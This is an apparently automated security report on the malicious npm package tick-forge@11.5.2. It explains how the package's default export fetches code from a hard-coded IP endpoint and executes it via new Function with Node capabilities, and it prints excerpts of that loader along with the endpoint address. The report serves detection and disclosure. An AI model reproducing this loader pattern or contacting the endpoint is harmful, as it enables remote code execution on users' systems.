tick-forge@11.5.2: Malicious npm security report (Block)

AI Security Review

scanned 4h ago · by lpm-firewall-ai

A runtime call to the default export downloads and executes attacker-controlled JavaScript. The fetched code has broad Node process capabilities.

Static reason

One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review

Trigger

Consumer imports the ESM entrypoint and calls its default export.

Impact

Arbitrary code execution in the consuming process.

Mechanism

Remote payload fetch followed by Function-based execution.

Attack narrative

Calling the default export invokes getPlugin(), which fetches JSON from a hard-coded IP endpoint and executes data.credits via new Function. The evaluated payload is supplied require, process, globalThis, Buffer, and timer APIs, enabling arbitrary dependency loading, environment access, and further actions in the host process.

Rationale

This is a concrete remote code-execution loader, not package-aligned icon functionality. Absence of an install hook does not mitigate the runtime execution path.

Evidence

package.jsonindex.jsREADME.md

Network endpoints1

31.97.137.157:45000/icons/107

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

index.js fetches https://31.97.137.157:45000/icons/107.
index.js passes response data.credits to new Function.
Remote code receives require, process, global, Buffer, and timers.
README documents unrelated tickforge API; implementation is a remote loader.

Evidence against

package.json has no lifecycle hooks.
No direct local file writes or credential harvesting appear in package source.

Behavioral surface

Source

EvalNetwork

Supply chainNo supply-chain packaging signals triggered.

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 5.94 KB of source

Source & flagged code

2 flagged

index.jsView file

Lines 129-169javascript

129 // Create a context with require and other Node.js globals available

130 const evalContext = {

131 require: require,

132 module: { exports: {} },

133 exports: {},

134 __dirname: process.cwd(),

135 __filename: import.meta.url,

136 console: console,

137 process: process,

138 global: globalThis,

139 Buffer: typeof Buffer !== 'undefined' ? Buffer : undefined,

140 setTimeout: setTimeout,

141 setInterval: setInterval,

142 clearTimeout: clearTimeout,

143 clearInterval: clearInterval,

144 Promise: Promise,

145 async: async function(fn) { return fn; }

146 };

147

148 // Use Function constructor to create an eval with the context

149 // Note: The code uses async/await, so we need to handle that

150 const evalFn = new Function(

151 'require', 'module', 'exports', '__dirname', '__filename', 'console', 'process', 'global', 'Buffer', 'setTimeout', 'setInterval', 'clearTimeout', 'clearInterval', 'Promise',

High

Eval

Package source references dynamic code evaluation.

index.jsView on unpkg · L149

152 data.credits

153 );

154

155 // Execute the code

156 const result = evalFn(

157 evalContext.require,

158 evalContext.module,

159 evalContext.exports,

160 evalContext.__dirname,

161 evalContext.__filename,

162 evalContext.console,

163 evalContext.process,

164 evalContext.global,

165 evalContext.Buffer,

166 evalContext.setTimeout,

167 evalContext.setInterval,

168 evalContext.clearTimeout,

169 evalContext.clearInterval,

•matchType = malicious_source_fingerprint_signature signature = c06bd55d669269cb signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = async-mutex-lock@5.3.1 matchedPath = index.js matchedIdentity = npm:YXN5bmMtbXV0ZXgtbG9jaw:5.3.1 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg

Source & flagged code

2 flagged · loading source

index.jsView file

149// Note: The code uses async/await, so we need to handle that L150: const evalFn = new Function( L151: 'require', 'module', 'exports', '__dirname', '__filename', 'console', 'process', 'global', 'Buffer', 'setTimeout', 'setInterval', 'clearTimeout', 'clearInterval', 'Promise',

High

Eval

Package source references dynamic code evaluation.

index.jsView on unpkg · L149

•matchType = malicious_source_fingerprint_signature signature = c06bd55d669269cb signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = async-mutex-lock@5.3.1 matchedPath = index.js matchedIdentity = npm:YXN5bmMtbXV0ZXgtbG9jaw:5.3.1 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg

Findings

2 High1 Medium1 Low

HighEvalindex.js

HighKnown Malware Source Fingerprint Signatureindex.js

MediumNetwork

LowScripts Present